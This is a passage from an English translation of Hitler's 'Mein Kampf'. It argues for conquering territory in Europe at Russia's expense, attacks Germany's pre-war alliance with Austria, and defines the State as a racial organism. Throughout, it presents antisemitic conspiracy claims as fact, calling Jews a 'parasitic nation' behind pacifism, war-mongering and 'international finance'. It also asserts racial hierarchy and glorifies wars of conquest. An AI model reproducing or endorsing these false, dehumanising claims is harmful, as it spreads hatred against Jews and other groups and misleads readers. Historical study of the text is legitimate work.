hunger. But we +have to face the fact that the general standard of living is rising more +quickly than even the birth rate. The requirements of food and clothing +are becoming greater from year to year and are out of proportion to +those of our ancestors of, let us say, a hundred years ago. It would, +therefore, be a mistaken view that every increase in the productive +powers of the soil will supply the requisite conditions for an increase +in the population. No. That is true up to a certain point only, for at +least a portion of the increased produce of the soil will be consumed by +the margin of increased demands caused by the steady rise in the +standard of living. But even if these demands were to be curtailed to +the narrowest limits possible and if at the same time we were to use all +our available energies in the intenser cultivation, we should here reach +a definite limit which is conditioned by the inherent nature of the soil +itself. No matter how industriously we may labour we cannot increase +agricultural production beyond this limit. Therefore, though we may +postpone the evil hour of distress for a certain time, it will arrive at +last. The first phenomenon will be the recurrence of famine periods from +time to time, after bad harvests, etc. The intervals between these +famines will become shorter and shorter the more the population +increases; and, finally, the famine times will disappear only in those +rare years of plenty when the granaries are full. And a time will +ultimately come when even in those years of plenty there will not be +enough to go round; so that hunger will dog the footsteps of the nation. +Nature must now step in once more and select those who are to survive, +or else man will help himself by artificially preventing his own +increase, with all the fatal consequences for the race and the species +which have been already mentioned. + +It may be objected here that, in one form or another, this future is in +store for all mankind and that the individual nation or race cannot +escape the general fate. + +At first glance, that objection seems logical enough; but we have to +take the following into account: + +The day will certainly come when the whole of mankind will be forced to +check the augmentation of the human species, because there will be no +further possibility of adjusting the productivity of the soil to the +perpetual increase in the population. Nature must then be allowed to use +her own methods or man may possibly take the task of regulation into his +own hands and establish the necessary equilibrium by the application of +better means than we have at our disposal to-day. But then it will be a +problem for mankind as a whole, whereas now only those races have to +suffer from want which no longer have the strength and daring to acquire +sufficient soil to fulfil their needs. For, as things stand to-day, vast +spaces still lie uncultivated all over the surface of the globe. Those +spaces are only waiting for the ploughshare. And it is quite certain +that Nature did not set those territories apart as the exclusive +pastures of any one nation or race to be held unutilized in reserve for +the future. Such land awaits the people who have the strength to acquire +it and the diligence to cultivate it. + +Nature knows no political frontiers. She begins by establishing life on +this globe and then watches the free play of forces. Those who show the +greatest courage and industry are the children nearest to her heart and +they will be granted the sovereign right of existence. + +If a nation confines itself to 'internal colonization' while other races +are perpetually increasing their territorial annexations all over the +globe, that nation will be forced to restrict the numerical growth of +its population at a time when the other nations are increasing theirs. +This situation must eventually arrive. It will arrive soon if the +territory which the nation has at its disposal be small. Now it is +unfortunately true that only too often the best nations--or, to speak +more exactly, the only really cultured nations, who at the same time are +the chief bearers of human progress--have decided, in their blind +pacifism, to refrain from the acquisition of new territory and to be +content with 'internal colonization.' But at the same time nations of +inferior quality succeed in getting hold of large spaces for +colonization all over the globe. The state of affairs which must result +from this contrast is the following: + +Races which are culturally superior but less ruthless would be forced to +restrict their increase, because of insufficient territory to support +the population, while less civilized races could increase indefinitely, +owing to the vast territories at their disposal. In other words: should +that state of affairs continue, then the world will one day be possessed +by that portion of mankind which is culturally inferior but more active +and energetic. + +A time will come, even though in the distant future, when there can be +only two alternatives: Either the world will be ruled according to our +modern concept of democracy, and then every decision will be in favour +of the numerically stronger races; or the world will be governed by the +law of natural distribution of power, and then those nations will be +victorious who are of more brutal will and are not the nations who have +practised self-denial. + +Nobody can doubt that this world will one day be the scene of dreadful +struggles for existence on the part of mankind. In the end the instinct +of self-preservation alone will triumph. Before its consuming fire this +so-called humanitarianism, which connotes only a mixture of fatuous +timidity and self-conceit, will melt away as under the March sunshine. +Man has become great through perpetual struggle. In perpetual peace his +greatness must decline. + +For us Germans, the slogan of 'internal colonization' is fatal, because +it encourages the belief that we have discovered a means which is in +accordance with our innate pacifism and which will enable us to work for +our livelihood in a half slumbering existence. Such a teaching, once it +were taken seriously by our people, would mean the end of all effort to +acquire for ourselves that place in the world which we deserve. If. the +average German were once convinced that by this measure he has the +chance of ensuring his livelihood and guaranteeing his future, any +attempt to take an active and profitable part in sustaining the vital +demands of his country would be out of the question. Should the nation +agree to such an attitude then any really useful foreign policy might be +looked upon as dead and buried, together with all hope for the future of +the German people. + +Once we know what the consequences of this 'internal colonization' +theory would be we can no longer consider as a mere accident the fact +that among those who inculcate this quite pernicious mentality among our +people the Jew is always in the first line. He knows his softies only +too well not to know that they are ready to be the grateful victims of +every swindle which promises them a gold-block in the shape of a +discovery that will enable them to outwit Nature and thus render +superfluous the hard and inexorable struggle for existence; so that +finally they may become lords of the planet partly by sheer DOLCE FAR +NIENTE and partly by working when a pleasing opportunity arises. + +It cannot be too strongly emphasised that any German 'internal +colonization' must first of all be considered as suited only for the +relief of social grievances. To carry out a system of internal +colonization, the most important preliminary measure would be to free +the soil from the grip of the speculator and assure that freedom. But +such a system could never suffice to assure the future of the nation +without the acquisition of new territory. + +If we adopt a different plan we shall soon reach a point beyond which +the resources of our soil can no longer be exploited, and at the same +time we shall reach a point beyond which our man-power cannot develop. + +In conclusion, the following must be said: + +The fact that only up to a limited extent can internal colonization be +practised in a national territory which is of definitely small area and +the restriction of the procreative faculty which follows as a result of +such conditions--these two factors have a very unfavourable effect on +the military and political standing of a nation. + +The extent of the national territory is a determining factor in the +external security of the nation. The larger the territory which a people +has at its disposal the stronger are the national defences of that +people. Military decisions are more quickly, more easily, more +completely and more effectively gained against a people occupying a +national territory which is restricted in area, than against States +which have extensive territories. Moreover, the magnitude of a national +territory is in itself a certain assurance that an outside Power will +not hastily risk the adventure of an invasion; for in that case the +struggle would have to be long and exhausting before victory could be +hoped for. The risk being so great. there would have to be extraordinary +reasons for such an aggressive adventure. Hence it is that the +territorial magnitude of a State furnishes a basis whereon national +liberty and independence can be maintained with relative ease; while, on +the contrary, a State whose territory is small offers a natural +temptation to the invader. + +As a matter of fact, so-called national circles in the German REICH +rejected those first two possibilities of establishing a balance between +the constant numerical increase in the population and a national +territory which could not expand proportionately. But the reasons given +for that rejection were different from those which I have just +expounded. It was mainly on the basis of certain moral sentiments that +restriction of the birth-rate was objected to. Proposals for internal +colonization were rejected indignantly because it was suspected that +such a policy might mean an attack on the big landowners, and that this +attack might be the forerunner of a general assault against the +principle of private property as a whole. The form in which the latter +solution--internal colonization--was recommended justified the +misgivings of the big landowners. + +But the form in which the colonization proposal was rejected was not +very clever, as regards the impression which such rejection might be +calculated to make on the mass of the people, and anyhow it did not go +to the root of the problem at all. + +Only two further ways were left open in which work and bread could be +secured for the increasing population. + +(3) It was possible to think of acquiring new territory on which a +certain portion of' the increasing population could be settled each +year; or else + +(4) Our industry and commerce had to be organized in such a manner as to +secure an increase in the exports and thus be able to support our people +by the increased purchasing power accruing from the profits made on +foreign markets. + +Therefore the problem was: A policy of territorial expansion or a +colonial and commercial policy. Both policies were taken into +consideration, examined, recommended and rejected, from various +standpoints, with the result that the second alternative was finally +adopted. The sounder alternative, however, was undoubtedly the first. + +The principle of acquiring new territory, on which the surplus +population could be settled, has many advantages to recommend it, +especially if we take the future as well as the present into account. + +In the first place, too much importance cannot be placed on the +necessity for adopting a policy which will make it possible to maintain +a healthy peasant class as the basis of the national community. Many of +our present evils have their origin exclusively in the disproportion +between the urban and rural portions of the population. A solid stock of +small and medium farmers has at all times been the best protection which +a nation could have against the social diseases that are prevalent +to-day. Moreover, that is the only solution which guarantees the daily +bread of a nation within the framework of its domestic national economy. +With this condition once guaranteed, industry and commerce would retire +from the unhealthy position of foremost importance which they hold +to-day and would take their due place within the general scheme of +national economy, adjusting the balance between demand and supply. Thus +industry and commerce would no longer constitute the basis of the +national subsistence, but would be auxiliary institutions. By fulfilling +their proper function, which is to adjust the balance between national +production and national consumption, they render the national +subsistence more or less independent of foreign countries and thus +assure the freedom and independence of the nation, especially at +critical junctures in its history. + +Such a territorial policy, however, cannot find its fulfilment in the +Cameroons but almost exclusively here in Europe. One must calmly and +squarely face the truth that it certainly cannot be part of the +dispensation of Divine Providence to give a fifty times larger share of +the soil of this world to one nation than to another. In considering +this state of affairs to-day, one must not allow existing political +frontiers to distract attention from what ought to exist on principles +of strict justice. If this earth has sufficient room for all, then we +ought to have that share of the soil which is absolutely necessary for +our existence. + +Of course people will not voluntarily make that accommodation. At this +point the right of self-preservation comes into effect. And when +attempts to settle the difficulty in an amicable way are rejected the +clenched hand must take by force that which was refused to the open hand +of friendship. If in the past our ancestors had based their political +decisions on similar pacifist nonsense as our present generation does, +we should not possess more than one-third of the national territory that +we possess to-day and probably there would be no German nation to worry +about its future in Europe. No. We owe the two Eastern Marks (Note 8) of +the Empire to the natural determination of our forefathers in their +struggle for existence, and thus it is to the same determined policy that +we owe the inner strength which is based on the extent of our political +and racial territories and which alone has made it possible for us to +exist up to now. + +[Note 8. German Austria was the East Mark on the South and East Prussia +was the East Mark on the North.] + +And there is still another reason why that solution would have been the +correct one: + +Many contemporary European States are like pyramids standing on their +apexes. The European territory which these States possess is +ridiculously small when compared with the enormous overhead weight of +their colonies, foreign trade, etc. It may be said that they have the +apex in Europe and the base of the pyramid all over the world; quite +different from the United States of America, which has its base on the +American Continent and is in contact with the rest of the world only +through its apex. Out of that situation arises the incomparable inner +strength of the U.S.A. and the contrary situation is responsible for the +weakness of most of the colonial European Powers. + +England cannot be suggested as an argument against this assertion, +though in glancing casually over the map of the British Empire one is +inclined easily to overlook the existence of a whole Anglo-Saxon world. +England's position cannot be compared with that of any other State in +Europe, since it forms a vast community of language and culture together +with the U.S.A. + +Therefore the only possibility which Germany had of carrying a sound +territorial policy into effect was that of acquiring new territory in +Europe itself. Colonies cannot serve this purpose as long as they are +not suited for settlement by Europeans on a large scale. In the +nineteenth century it was no longer possible to acquire such colonies by +peaceful means. Therefore any attempt at such a colonial expansion would +have meant an enormous military struggle. Consequently it would have +been more practical to undertake that military struggle for new +territory in Europe rather than to wage war for the acquisition of +possessions abroad. + +Such a decision naturally demanded that the nation's undivided energies +should be devoted to it. A policy of that kind which requires for its +fulfilment every ounce of available energy on the part of everybody +concerned, cannot be carried into effect by half-measures or in a +hesitating manner. The political leadership of the German Empire should +then have been directed exclusively to this goal. No political step +should have been taken in response to other considerations than this +task and the means of accomplishing it. Germany should have been alive +to the fact that such a goal could have been reached only by war, and +the prospect of war should have been faced with calm and collected +determination. + +The whole system of alliances should have been envisaged and valued from +that standpoint. If new territory were to be acquired in Europe it must +have been mainly at Russia's cost, and once again the new German Empire +should have set out on its march along the same road as was formerly +trodden by the Teutonic Knights, this time to acquire soil for the +German plough by means of the German sword and thus provide the nation +with its daily bread. + +For such a policy, however, there was only one possible ally in Europe. +That was England. + +Only by alliance with England was it possible to safeguard the rear of +the new German crusade. The justification for undertaking such an +expedition was stronger than the justification which our forefathers had +for setting out on theirs. Not one of our pacifists refuses to eat the +bread made from the grain grown in the East; and yet the first plough +here was that called the 'Sword'. + +No sacrifice should have been considered too great if it was a necessary +means of gaining England's friendship. Colonial and naval ambitions +should have been abandoned and attempts should not have been made to +compete against British industries. + +Only a clear and definite policy could lead to such an achievement. Such +a policy would have demanded a renunciation of the endeavour to conquer +the world's markets, also a renunciation of colonial intentions and +naval power. All the means of power at the disposal of the State should +have been concentrated in the military forces on land. This policy would +have involved a period of temporary self-denial, for the sake of a great +and powerful future. + +There was a time when England might have entered into negotiations with +us, on the grounds of that proposal. For England would have well +understood that the problems arising from the steady increase in +population were forcing Germany to look for a solution either in Europe +with the help of England or, without England, in some other part of the +world. + +This outlook was probably the chief reason why London tried to draw +nearer to Germany about the turn of the century. For the first time in +Germany an attitude was then manifested which afterwards displayed +itself in a most tragic way. People then gave expression to an +unpleasant feeling that we might thus find ourselves obliged to pull +England's chestnuts out of the fire. As if an alliance could be based on +anything else than mutual give-and-take! And England would have become a +party to such a mutual bargain. British diplomats were still wise enough +to know that an equivalent must be forthcoming as a consideration for +any services rendered. + +Let us suppose that in 1904 our German foreign policy was managed +astutely enough to enable us to take the part which Japan played. It is +not easy to measure the greatness of the results that might have accrued +to Germany from such a policy. + +There would have been no world war. The blood which would have been shed +in 1904 would not have been a tenth of that shed from 1914 to 1918. And +what a position Germany would hold in the world to-day? + +In any case the alliance with Austria was then an absurdity. + +For this mummy of a State did not attach itself to Germany for the +purpose of carrying through a war, but rather to maintain a perpetual +state of peace which was meant to be exploited for the purpose of slowly +but persistently exterminating the German element in the Dual Monarchy. + +Another reason for the impossible character of this alliance was that +nobody could expect such a State to take an active part in defending +German national interests, seeing that it did not have sufficient +strength and determination to put an end to the policy of +de-Germanization within its own frontiers. If Germany herself was not +moved by a sufficiently powerful national sentiment and was not +sufficiently ruthless to take away from that absurd Habsburg State the +right to decide the destinies of ten million inhabitants who were of the +same nationality as the Germans themselves, surely it was out of the +question to expect the Habsburg State to be a collaborating party in any +great and courageous German undertaking. The attitude of the old REICH +towards the Austrian question might have been taken as a test of its +stamina for the struggle where the destinies of the whole nation were at +stake. + +In any case, the policy of oppression against the German population in +Austria should not have been allowed to be carried on and to grow +stronger from year to year; for the value of Austria as an ally could be +assured only by upholding the German element there. But that course was +not followed. + +Nothing was dreaded so much as the possibility of an armed conflict; but +finally, and at a most unfavourable moment, the conflict had to be faced +and accepted. They thought to cut loose from the cords of destiny, but +destiny held them fast. + +They dreamt of maintaining a world peace and woke up to find themselves +in a world war. + +And that dream of peace was a most significant reason why the +above-mentioned third alternative for the future development of Germany +was not even taken into consideration. The fact was recognized that new +territory could be gained only in the East; but this meant that there +would be fighting ahead, whereas they wanted peace at any cost. The +slogan of German foreign policy at one time used to be: The use of all +possible means for the maintenance of the German nation. Now it was +changed to: Maintenance of world peace by all possible means. We know +what the result was. I shall resume the discussion of this point in +detail later on. + +There remained still another alternative, which we may call the fourth. +This was: Industry and world trade, naval power and colonies. + +Such a development might certainly have been attained more easily and +more rapidly. To colonize a territory is a slow process, often extending +over centuries. Yet this fact is the source of its inner strength, for +it is not through a sudden burst of enthusiasm that it can be put into +effect, but rather through a gradual and enduring process of growth +quite different from industrial progress, which can be urged on by +advertisement within a few years. The result thus achieved, however, is +not of lasting quality but something frail, like a soap-bubble. It is +much easier to build quickly than to carry through the tough task of +settling a territory with farmers and establishing farmsteads. But the +former is more quickly destroyed than the latter. + +In adopting such a course Germany must have known that to follow it out +would necessarily mean war sooner or later. Only children could believe +that sweet and unctuous expressions of goodness and persistent avowals +of peaceful intentions could get them their bananas through this +'friendly competition between the nations', with the prospect of never +having to fight for them. + +No. Once we had taken this road, England was bound to be our enemy at +some time or other to come. Of course it fitted in nicely with our +innocent assumptions, but still it was absurd to grow indignant at the +fact that a day came when the English took the liberty of opposing our +peaceful penetration with the brutality of violent egoists. + +Naturally, we on our side would never have done such a thing. + +If a European territorial policy against Russia could have been put into +practice only in case we had England as our ally, on the other hand a +colonial and world-trade policy could have been carried into effect only +against English interests and with the support of Russia. But then this +policy should have been adopted in full consciousness of all the +consequences it involved and, above all things, Austria should have been +discarded as quickly as possible. + +At the turn of the century the alliance with Austria had become a +veritable absurdity from all points of view. + +But nobody thought of forming an alliance with Russia against England, +just as nobody thought of making England an ally against Russia; for in +either case the final result would inevitably have meant war. And to +avoid war was the very reason why a commercial and industrial policy was +decided upon. It was believed that the peaceful conquest of the world by +commercial means provided a method which would permanently supplant the +policy of force. Occasionally, however, there were doubts about the +efficiency of this principle, especially when some quite +incomprehensible warnings came from England now and again. That was the +reason why the fleet was built. It was not for the purpose of attacking +or annihilating England but merely to defend the concept of world-peace, +mentioned above, and also to protect the principle of conquering the +world by 'peaceful' means. Therefore this fleet was kept within modest +limits, not only as regards the number and tonnage of the vessels but +also in regard to their armament, the idea being to furnish new proofs +of peaceful intentions. + +The chatter about the peaceful conquest of the world by commercial means +was probably the most completely nonsensical stuff ever raised to the +dignity of a guiding principle in the policy of a State, This nonsense +became even more foolish when England was pointed out as a typical +example to prove how the thing could be put into practice. Our doctrinal +way of regarding history and our professorial ideas in that domain have +done irreparable harm and offer a striking 'proof' of how people 'learn' +history without understanding anything of it. As a matter of fact, +England ought to have been looked upon as a convincing argument against +the theory of the pacific conquest of the world by commercial means. No +nation prepared the way for its commercial conquests more brutally than +England did by means of the sword, and no other nation has defended such +conquests more ruthlessly. Is it not a characteristic quality of British +statecraft that it knows how to use political power in order to gain +economic advantages and, inversely, to turn economic conquests into +political power? What an astounding error it was to believe that England +would not have the courage to give its own blood for the purposes of its +own economic expansion! The fact that England did not possess a national +army proved nothing; for it is not the actual military structure of the +moment that matters but rather the will and determination to use +whatever military strength is available. England has always had the +armament which she needed. She always fought with those weapons which +were necessary for success. She sent mercenary troops, to fight as long +as mercenaries sufficed; but she never hesitated to draw heavily and +deeply from the best blood of the whole nation when victory could be +obtained only by such a sacrifice. And in every case the fighting +spirit, dogged determination, and use of brutal means in conducting +military operations have always remained the same. + +But in Germany, through the medium of the schools, the Press and the +comic papers, an idea of the Englishman was gradually formed which was +bound eventually to lead to the worst kind of self-deception. This +absurdity slowly but persistently spread into every quarter of German +life. The result was an undervaluation for which we have had to pay a +heavy penalty. The delusion was so profound that the Englishman was +looked upon as a shrewd business man, but personally a coward even to an +incredible degree. Unfortunately our lofty teachers of professorial +history did not bring home to the minds of their pupils the truth that +it is not possible to build up such a mighty organization as the British +Empire by mere swindle and fraud. The few who called attention to that +truth were either ignored or silenced. I can vividly recall to mind the +astonished looks of my comrades when they found themselves personally +face to face for the first time with the Tommies in Flanders. After a +few days of fighting the consciousness slowly dawned on our soldiers +that those Scotsmen were not like the ones we had seen described and +caricatured in the comic papers and mentioned in the communiqués. + +It was then that I formed my first ideas of the efficiency of various +forms of propaganda. + +Such a falsification, however, served the purpose of those who had +fabricated it. This caricature of the Englishman, though false, could be +used to prove the possibility of conquering the world peacefully by +commercial means. Where the Englishman succeeded we should also succeed. +Our far greater honesty and our freedom from that specifically English +'perfidy' would be assets on our side. Thereby it was hoped that the +sympathy of the smaller nations and the confidence of the greater +nations could be gained more easily. + +We did not realize that our honesty was an object of profound aversion +for other people because we ourselves believed in it. The rest of the +world looked on our behaviour as the manifestation of a shrewd +deceitfulness; but when the revolution came, then they were amazed at +the deeper insight it gave them into our mentality, sincere even beyond +the limits of stupidity. + +Once we understand the part played by that absurd notion of conquering +the world by peaceful commercial means we can clearly understand how +that other absurdity, the Triple Alliance, came to exist. With what +State then could an alliance have been made? In alliance with Austria we +could not acquire new territory by military means, even in Europe. And +this very fact was the real reason for the inner weakness of the Triple +Alliance. A Bismarck could permit himself such a makeshift for the +necessities of the moment, but certainly not any of his bungling +successors, and least of all when the foundations no longer existed on +which Bismarck had formed the Triple Alliance. In Bismarck's time +Austria could still be looked upon as a German State; but the gradual +introduction of universal suffrage turned the country into a +parliamentary Babel, in which the German voice was scarcely audible. + +From the viewpoint of racial policy, this alliance with Austria was +simply disastrous. A new Slavic Great Power was allowed to grow up close +to the frontiers of the German Empire. Later on this Power was bound to +adopt towards Germany an attitude different from that of Russia, for +example. The Alliance was thus bound to become more empty and more +feeble, because the only supporters of it were losing their influence +and were being systematically pushed out of the more important public +offices. + +About the year 1900 the Alliance with Austria had already entered the +same phase as the Alliance between Austria and Italy. + +Here also only one alternative was possible: Either to take the side of +the Habsburg Monarchy or to raise a protest against the oppression of +the German element in Austria. But, generally speaking, when one takes +such a course it is bound eventually to lead to open conflict. + +From the psychological point of view also, the Triple decreases +according as such an alliance limits its object to the defence of the +STATUS QUO. But, on the other hand, an alliance will increase its +cohesive strength the more the parties concerned in it may hope to use +it as a means of reaching some practical goal of expansion. Here, as +everywhere else, strength does not lie in defence but in attack. + +This truth was recognized in various quarters but, unfortunately, not by +the so-called elected representatives of the people. As early as 1912 +Ludendorff, who was then Colonel and an Officer of the General Staff, +pointed out these weak features of the Alliance in a memorandum which he +then drew up. But of course the 'statesmen' did not attach any +importance or value to that document. In general it would seem as if +reason were a faculty that is active only in the case of ordinary +mortals but that it is entirely absent when we come to deal with that +branch of the species known as 'diplomats'. + +It was lucky for Germany that the war of 1914 broke out with Austria as +its direct cause, for thus the Habsburgs were compelled to participate. +Had the origin of the War been otherwise, Germany would have been left +to her own resources. The Habsburg State would never have been ready or +willing to take part in a war for the origin of which Germany was +responsible. What was the object of so much obloquy later in the case of +Italy's decision would have taken place, only earlier, in the case of +Austria. In other words, if Germany had been forced to go to war for +some reason of its own, Austria would have remained 'neutral' in order +to safeguard the State against a revolution which might begin +immediately after the war had started. The Slav element would have +preferred to smash up the Dual Monarchy in 1914 rather than permit it to +come to the assistance of Germany. But at that time there were only a +few who understood all the dangers and aggravations which resulted from +the alliance with the Danubian Monarchy. + +In the first place, Austria had too many enemies who were eagerly +looking forward to obtain the heritage of that decrepit State, so that +these people gradually developed a certain animosity against Germany, +because Germany was an obstacle to their desires inasmuch as it kept the +Dual Monarchy from falling to pieces, a consummation that was hoped for +and yearned for on all sides. The conviction developed that Vienna could +be reached only by passing through Berlin. + +In the second place, by adopting this policy Germany lost its best and +most promising chances of other alliances. In place of these +possibilities one now observed a growing tension in the relations with +Russia and even with Italy. And this in spite of the fact that the +general attitude in Rome was just as favourable to Germany as it was +hostile to Austria, a hostility which lay dormant in the individual +Italian and broke out violently on occasion. + +Since a commercial and industrial policy had been adopted, no motive was +left for waging war against Russia. Only the enemies of the two +countries, Germany and Russia, could have an active interest in such a +war under these circumstances. As a matter of fact, it was only the Jews +and the Marxists who tried to stir up bad blood between the two States. + +In the third place, the Alliance constituted a permanent danger to +German security; for any great Power that was hostile to Bismarck's +Empire could mobilize a whole lot of other States in a war against +Germany by promising them tempting spoils at the expense of the Austrian +ally. + +It was possible to arouse the whole of Eastern Europe against Austria, +especially Russia, and Italy also. The world coalition which had +developed under the leadership of King Edward could never have become a +reality if Germany's ally, Austria, had not offered such an alluring +prospect of booty. It was this fact alone which made it possible to +combine so many heterogeneous States with divergent interests into one +common phalanx of attack. Every member could hope to enrich himself at +the expense of Austria if he joined in the general attack against +Germany. The fact that Turkey was also a tacit party to the unfortunate +alliance with Austria augmented Germany's peril to an extraordinary +degree. + +Jewish international finance needed this bait of the Austrian heritage +in order to carry out its plans of ruining Germany; for Germany had not +yet surrendered to the general control which the international captains +of finance and trade exercised over the other States. Thus it was +possible to consolidate that coalition and make it strong enough and +brave enough, through the sheer weight of numbers, to join in bodily +conflict with the 'horned' Siegfried. (Note 9) + +[Note 9. Carlyle explains the epithet thus: "First then, let no one from +the title GEHOERNTE (Horned, Behorned), fancy that our brave Siegfried, +who was the loveliest as well as the bravest of men, was actually +cornuted, and had hornson his brow, though like Michael Angelo's Moses; or +even that his skin, to which the epithet BEHORNED refers, was hard like a +crocodile's, and not softer than the softest shamey, for the truth is, +his Hornedness means only an Invulnerability, like that of Achilles..."] + +The alliance with the Habsburg Monarchy, which I loathed while still in +Austria, was the subject of grave concern on my part and caused me to +meditate on it so persistently that finally I came to the conclusions +which I have mentioned above. + +In the small circles which I frequented at that time I did not conceal +my conviction that this sinister agreement with a State doomed to +collapse would also bring catastrophe to Germany if she did not free +herself from it in time. I never for a moment wavered in that firm +conviction, even when the tempest of the World War seemed to have made +shipwreck of the reasoning faculty itself and had put blind enthusiasm +in its place, even among those circles where the coolest and hardest +objective thinking ought to have held sway. In the trenches I voiced and +upheld my own opinion whenever these problems came under discussion. I +held that to abandon the Habsburg Monarchy would involve no sacrifice if +Germany could thereby reduce the number of her own enemies; for the +millions of Germans who had donned the steel helmet had done so not to +fight for the maintenance of a corrupt dynasty but rather for the +salvation of the German people. + +Before the War there were occasions on which it seemed that at least one +section of the German public had some slight misgivings about the +political wisdom of the alliance with Austria. From time to time German +conservative circles issued warnings against being over-confident about +the worth of that alliance; but, like every other reasonable suggestion +made at that time, it was thrown to the winds. The general conviction +was that the right measures had been adopted to 'conquer' the world, +that the success of these measures would be enormous and the sacrifices +negligible. + +Once again the 'uninitiated' layman could do nothing but observe how the +'elect' were marching straight ahead towards disaster and enticing their +beloved people to follow them, as the rats followed the Pied Piper of +Hamelin. + +If we would look for the deeper grounds which made it possible to foist +on the people this absurd notion of peacefully conquering the world +through commercial penetration, and how it was possible to put forward +the maintenance of world-peace as a national aim, we shall find that +these grounds lay in a general morbid condition that had pervaded the +whole body of German political thought. + +The triumphant progress of technical science in Germany and the +marvellous development of German industries and commerce led us to +forget that a powerful State had been the necessary pre-requisite of +that success. On the contrary, certain circles went even so far as to +give vent to the theory that the State owed its very existence to these +phenomena; that it was, above all, an economic institution and should be +constituted in accordance with economic interests. Therefore, it was +held, the State was dependent on the economic structure. This condition +of things was looked upon and glorified as the soundest and most normal +arrangement. + +Now, the truth is that the State in itself has nothing whatsoever to do +with any definite economic concept or a definite economic development. +It does not arise from a compact made between contracting parties, +within a certain delimited territory, for the purpose of serving +economic ends. The State is a community of living beings who have +kindred physical and spiritual natures, organized for the purpose of +assuring the conservation of their own kind and to help towards +fulfilling those ends which Providence has assigned to that particular +race or racial branch. Therein, and therein alone, lie the purpose and +meaning of a State. Economic activity is one of the many auxiliary means +which are necessary for the attainment of those aims. But economic +activity is never the origin or purpose of a State, except where a State +has been originally founded on a false and unnatural basis. And this +alone explains why a State as such does not necessarily need a certain +delimited territory as a condition of its establishment. This condition +becomes a necessary pre-requisite only among those people who would +provide and assure subsistence for their kinsfolk through their own +industry, which means that they are ready to carry on the struggle for +existence by means of their own work. People who can sneak their way, +like parasites, into the human body politic and make others work for +them under various pretences can form a State without possessing any +definite delimited territory. This is chiefly applicable to that +parasitic nation which, particularly at the present time preys upon the +honest portion of mankind; I mean the Jews. + +The Jewish State has never been delimited in space. It has been spread +all over the world, without any frontiers whatsoever, and has always +been constituted from the membership of one race exclusively. That is +why the Jews have always formed a State within the State. One of the +most ingenious tricks ever devised has been that of sailing the Jewish +ship-of-state under the flag of Religion and thus securing that +tolerance which Aryans are always ready to grant to different religious +faiths. But the Mosaic Law is really nothing else than the doctrine of +the preservation of the Jewish race. Therefore this Law takes in all +spheres of sociological, political and economic science which have a +bearing on the main end in view. + +The instinct for the preservation of one's own species is the primary +cause that leads to the formation of human communities. Hence the State +is a racial organism, and not an economic organization. The difference +between the two is so great as to be incomprehensible to our +contemporary so-called 'statesmen'. That is why they like to believe +that the State may be constituted as an economic structure, whereas the +truth is that it has always resulted from the exercise of those +qualities which are part of the will to preserve the species and the +race. But these qualities always exist and operate through the heroic +virtues and have nothing to do with commercial egoism; for the +conservation of the species always presupposes that the individual is +ready to sacrifice himself. Such is the meaning of the poet's lines: + +UND SETZET IHR NICHT DAS LEBEN EIN, +NIE WIRD EUCH DAS LEBEN GEWONNEN SEIN. + +(AND IF YOU DO NOT STAKE YOUR LIFE, +YOU WILL NEVER WIN LIFE FOR YOURSELF.) + +[Note 10. Lines quoted from the Song of the Curassiers in Schiller's +WALLENSTEIN.] + +The sacrifice of the individual existence is necessary in order to +assure the conservation of the race. Hence it is that the most essential +condition for the establishment and maintenance of a State is a certain +feeling of solidarity, wounded in an identity of character and race and +in a resolute readiness to defend these at all costs. With people who +live on their own territory this will result in a development of the +heroic virtues; with a parasitic people it will develop the arts of +subterfuge and gross perfidy unless we admit that these characteristics +are innate and that the varying political forms through which the +parasitic race expresses itself are only the outward manifestations of +innate characteristics. At least in the beginning, the formation of a +State can result only from a manifestation of the heroic qualities I +have spoken of. And the people who fail in the struggle for existence, +that is to say those, who become vassals and are thereby condemned to +disappear entirely sooner or later, are those who do not display the +heroic virtues in the struggle, or those who fall victims to the perfidy +of the parasites. And even in this latter case the failure is not so +much due to lack of intellectual powers, but rather to a lack of courage +and determination. An attempt is made to conceal the real nature of this +failing by saying that it is the humane feeling. + +The qualities which are employed for the foundation and preservation of +a State have accordingly little or nothing to do with the economic +situation. And this is conspicuously demonstrated by the fact that the +inner strength of a State only very rarely coincides with what is called +its economic expansion. On the contrary, there are numerous examples to +show that a period of economic prosperity indicates the approaching +decline of a State. If it were correct to attribute the foundation of +human communities to economic forces, then the power of the State as +such would be at its highest pitch during periods of economic +prosperity, and not vice versa. + +It is specially difficult to understand how the belief that the State is +brought into being and preserved by economic forces could gain currency +in a country which has given proof of the opposite in every phase of its +history. The history of Prussia shows in a manner particularly clear and +distinct, that it is out of the moral virtues of the people and not from +their economic circumstances that a State is formed. It is only under +the protection of those virtues that economic activities can be +developed and the latter will continue to flourish until a time comes +when the creative political capacity declines. Therewith the economic +structure will also break down, a phenomenon which is now happening in +an alarming manner before our eyes. The material interest of mankind can +prosper only in the shade of the heroic virtues. The moment they become +the primary considerations of life they wreck the basis of their own +existence. + +Whenever the political power of Germany was specially strong the +economic situation also improved. But whenever economic interests alone +occupied the foremost place in the life of the people, and thrust +transcendent ideals into the back.-ground, the State collapsed and +economic ruin followed readily. + +If we consider the question of what those forces actually are which are +necessary to the creation and preservation of a State, we shall find +that they are: The capacity and readiness to sacrifice the individual to +the common welfare. That these qualities have nothing at all to do with +economics can be proved by referring to the simple fact that man does +not sacrifice himself for material interests. In other words, he will +die for an ideal but not for a business. The marvellous gift for public +psychology which the English have was never shown better than the way in +which they presented their case in the World War. We were fighting for +our bread; but the English declared that they were fighting for +'freedom', and not at all for their own freedom. Oh, no, but for the +freedom of the small nations. German people laughed at that effrontery +and were angered by it; but in doing so they showed how political +thought had declined among our so-called diplomats in Germany even +before the War. These diplomatists did not have the slightest notion of +what that force was which brought men to face death of their own free +will and determination. + +As long as the German people, in the War of 1914, continued to believe +that they were fighting for ideals they stood firm. As soon as they were +told that they were fighting only for their daily bread they began to +give up the struggle. + +Our clever 'statesmen' were greatly amazed at this change of feeling. +They never understood that as soon as man is called upon to struggle for +purely material causes he will avoid death as best he can; for death and +the enjoyment of the material fruits of a victory are quite incompatible +concepts. The frailest woman will become a heroine when the life of her +own child is at stake. And only the will to save the race and native +land or the State, which offers protection to the race, has in all ages +been the urge which has forced men to face the weapons of their enemies. + +The following may be proclaimed as a truth that always holds good: + +A State has never arisen from commercial causes for the purpose of +peacefully serving commercial ends; but States have always arisen from +the instinct to maintain the racial group, whether this instinct +manifest itself in the heroic sphere or in the sphere of cunning and +chicanery. In the first case we have the Aryan States, based on the +principles of work and cultural development. In the second case we have +the Jewish parasitic colonies. But as soon as economic interests begin 